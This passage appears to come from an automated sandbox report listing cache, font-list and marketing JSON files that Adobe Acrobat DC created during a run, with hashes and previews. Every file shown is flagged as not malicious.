Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklXGGltfllXlE/HT8kull7llXNNX8RolJuRdxLlGB9lQRYwpDdt:kK2eT8Jl7NMa8RdWBwRd
MD5:	212ABEE15082F4C5B61F846D1F1F631C
SHA1:	D72678E1412A999554B7D58BA76C695B055D8D34
SHA-256:	9D1E90319755D313EC7CC02679E87E5ED6755D15A77527F1A0E66E227E348C2C
SHA-512:	E2698F88EFD86B657C4A808FEF62E97FD1756CCFB70E57CA7ED5FB697A1A435B0E8CED67F48E1361DEDD633089C40A2C3AE1AED1AAE6EC87605B39B32446F466
Malicious:	false
Preview:	p...... ........$.+..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kKnji/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fG/iDImsLNkPlE99SNxAhUe/3
MD5:	1F5D3335895D147D8C6D8139E0F747BC
SHA1:	8F2B95F94EF8897723BB512FC0F1A201F01EE8BC
SHA-256:	4C088B966B5B6AEAC968EEEEC018EB481F4E02A42B6BB472D9777B4E3BA72067
SHA-512:	52F3ADBE03BC1C2B26007E2AE6D31405C16DF07F8174B06C80F132B3D4CCE5C2C9114A5208AD0166FD07CAEF61ED36FCC216A870DD5A4A414D41E556018A5D22
Malicious:	false
Preview:	p...... ..........s.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6004

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6004

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.300406554816385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJM3g98kUwPeUkwRe9:YvXKXdFB69YpW7wZGMbLUkee9
MD5:	E4BD5D684396E8A491A9DFE7004DA887
SHA1:	933F9700B2A850949D286000EC300DC9E69E56D9
SHA-256:	7D068B727A6D8AB737B7A6F81436CBE85111906945D92DB2F886238EDD06D752
SHA-512:	67EDA93BEC666710E79A9D762A57D5AF7D814A7801A0FC9964AF877310E6E68C52716E71E7AB53BF1E8B1B2727637241F3ACD1E8A15ABF91E90184C1D18572B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2367866447795866
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfBoTfXpnrPeUkwRe9:YvXKXdFB69YpW7wZGWTfXcUkee9
MD5:	267C1C588D01F6E48718689D8A272C84
SHA1:	FF1A71A84E5D01C5DB55D9064D1BF9471F5127E9
SHA-256:	F3E26555F3056B887EC595AECE9664689921BEBBA40E471AEA9877F03264172C
SHA-512:	A52CB44986AF3D2BE9E789FD51EF866F0EDEFB59CECC32719668563311D2BB765B668EA50D922EF3411D68E7299FAA2BA20CCB65E5836D68EF9350F8A1593B53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.214636738356657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfBD2G6UpnrPeUkwRe9:YvXKXdFB69YpW7wZGR22cUkee9
MD5:	97EE6F6D69C8437FE0668D74F6F7BE4A
SHA1:	54730344FEA0B88D0DC4762CB5E5D9E151CF8D66
SHA-256:	A01F46F47924F7CE7CD82229FF4ECC680B964291F7B5AE5C5A096642209B4A4F
SHA-512:	67B4CFC693E85AEC9BAB48E4F19EF5CF587D1183D6099B4CB607410A923DC502641A20026EFE9AA92D6D36510500BBE2B80CB481C60DC58A8036025EA0F5E432
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.277090420838713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfPmwrPeUkwRe9:YvXKXdFB69YpW7wZGH56Ukee9
MD5:	A9D884F675D10EE4DFE4047B88E36AC4
SHA1:	05B7D8797ACCF5A2AAF15C5C919D2C389F0FE09D
SHA-256:	F4AFD3062B71690452BD4C4BBC1104CBAC3A7AD934FE1B16FD95F00E562111C9
SHA-512:	BFC640CFFF64C240842E938CF6AC697E18F04E9BC34521CCEFB4DABA30FCCD3D48E7C997DD72F9308E08ADEC52DFBEC5FEEC8BA0EE88A23CD384B5B9FC48A931
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.679530850326067
Encrypted:	false
SSDEEP:	24:Yv6XdFB6Wiw+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSA:Yvyb6hNhgy6SAFv5Ah8cv/A
MD5:	B6AB5E8A30B3B189F3E5162F6E5B88C3
SHA1:	6964EB561E7177F9108B37C171BF45F055D2D1B7
SHA-256:	8092E7860232441D6E3C12B288467C4739C38FB0BF6EE46119FC26DB3C6972E2
SHA-512:	0029779CA37FB26ECABB12599D79F3C8D691087A8A3EC1C549654ACE7C4D190815EDEAEB415E544FCAD987907A53FDC762CFCDB7318A7AE5AC081E1F7B069A6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2192916273407794
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJf8dPeUkwRe9:YvXKXdFB69YpW7wZGU8Ukee9
MD5:	A6F1512532F66595ADE09259F04EDED8
SHA1:	EC31BE455A64FF1C538EC618392E0437B84C3748
SHA-256:	8C7AEF781249A4CC36575C3570A3704C046F15F40B179CACAB911373F69738AA
SHA-512:	06F28CD5DAFB5C5AAC445822738FD04997F19DE2D81A32D2DF1C9457B1CFE2438246F0A12D0D0B0AE281C45110AD0A33DDE85D16E46CE5F207D69E86170572A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.222457746692873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfQ1rPeUkwRe9:YvXKXdFB69YpW7wZGY16Ukee9
MD5:	E5889D863D9090A829E9057429221ADF
SHA1:	69B2012769E0DD1F21A43402696BA92EAC3C4C80
SHA-256:	E235F01E9D8297C36DF3B4D1B7EE8460EE9810AB519380E23239F73D78FCBD33
SHA-512:	7517DB8924CA9F3E769CEBCE9C6D7A4A8469C5A8CEEB5E7417FD82718EC8C8FFCAC70A1860F2F561FC7BD3879AE17878280358DBB6D64681E066FCA66EC040EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.239427234720073
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfFldPeUkwRe9:YvXKXdFB69YpW7wZGz8Ukee9
MD5:	ECF91DC6F764A671F95E50EE44FDEF35
SHA1:	528543BF2F5AFDCAEAA210CBA78574EC0FC94A9F
SHA-256:	351E6C100FBD80CDD78A73FC0AE2194DB388868F6598E329B51CC67F4B425543
SHA-512:	16F419E555320689BA6294D340CAAEAE35993195E465D59AAC43ABFC6EDB0EEAE1F332C5E5F8C287146DF4020CDA7E32D1E85D60E378DE84454A2F8038B4300D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.247825692245715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfzdPeUkwRe9:YvXKXdFB69YpW7wZGb8Ukee9
MD5:	E935FEA8E31576E2BFA4DF1E543B4B51
SHA1:	E2B053985E9B9256F69BF5846F91EE4201831806
SHA-256:	EFE91B9693075B83876B93E2B7F05EDB83F911E8D77845AE405705073CE65154
SHA-512:	63D5A01DA3757C15CB993630D33F268016B259E597D0FBA7569C8894CA9370E2DE281F12B5BBD8BBCF0B4E9668713317FED1CEBAB2DC7047F2E155001CEEE7FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.228012066282112
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfYdPeUkwRe9:YvXKXdFB69YpW7wZGg8Ukee9
MD5:	F8CF95E540AB09B3BC4302525F33E80B
SHA1:	ADBFAC87DA3EA2BDE1818DC3DFB051B0B14288FD
SHA-256:	9268F9E40D887C3BCB02ECDF92AAA2720D6283F9667AF83040B6972E51D058AF
SHA-512:	9D973764816A9FF7C8B44E1DD2138CF05ABAB303A13171DADE2B283B2F5E810675A37792A9CF62B1DCA568BCBB603E17E9FF431257257A06733B6DB260681BF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.212795045905727
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJf+dPeUkwRe9:YvXKXdFB69YpW7wZG28Ukee9
MD5:	A27F05CF347E11BCE848DB53152E62D8
SHA1:	71CD0A5E4D57834DBE0610E3004FBE0CE7AE3263
SHA-256:	A7DD057C62580F5D5936163416704BC2FA1CB44DF838430FD3B13959C693C671
SHA-512:	565695E1D0EAEF640D4D3B74925A6B529AB67FB5769C28F3704196A7B686AA26D95630A5EF2C4DC64066D3B1732B79D84086310DA10CB0CE36B2783587ADF04A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.212053926387028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJfbPtdPeUkwRe9:YvXKXdFB69YpW7wZGDV8Ukee9
MD5:	FF18A5AA7FEFD77D9F9D8A203CE24408
SHA1:	3BF5C424D67D9950FD34048E8A740C5012E2FAF2
SHA-256:	AAFCF109D671D780FF9D9940840FA676956EE5395EAA2F3CF742070977416C95
SHA-512:	1BFC75A8D1ED42E1BDEB2E45FC9E1D91AC104E835C7A22B618DBC98A21F7B7FE4BA957B8527C31A36B266C262D4D84823D928FAAE19800B4EC08F540B074601E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd9af412-17de-47a3-90ca-25dafac5c45a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719545265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.213822138681546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdFB6W7+FIbRI6XVW7+0YwIqoAvJf21rPeUkwRe9:YvXKXdFB69YpW7wZG+16Ukee9
MD5:	5B53F2FA5232639F4A1E0076F920E9B7
SHA1:	CDED3421FC9C9BCD55C79212C0D5BC114E1B00F0
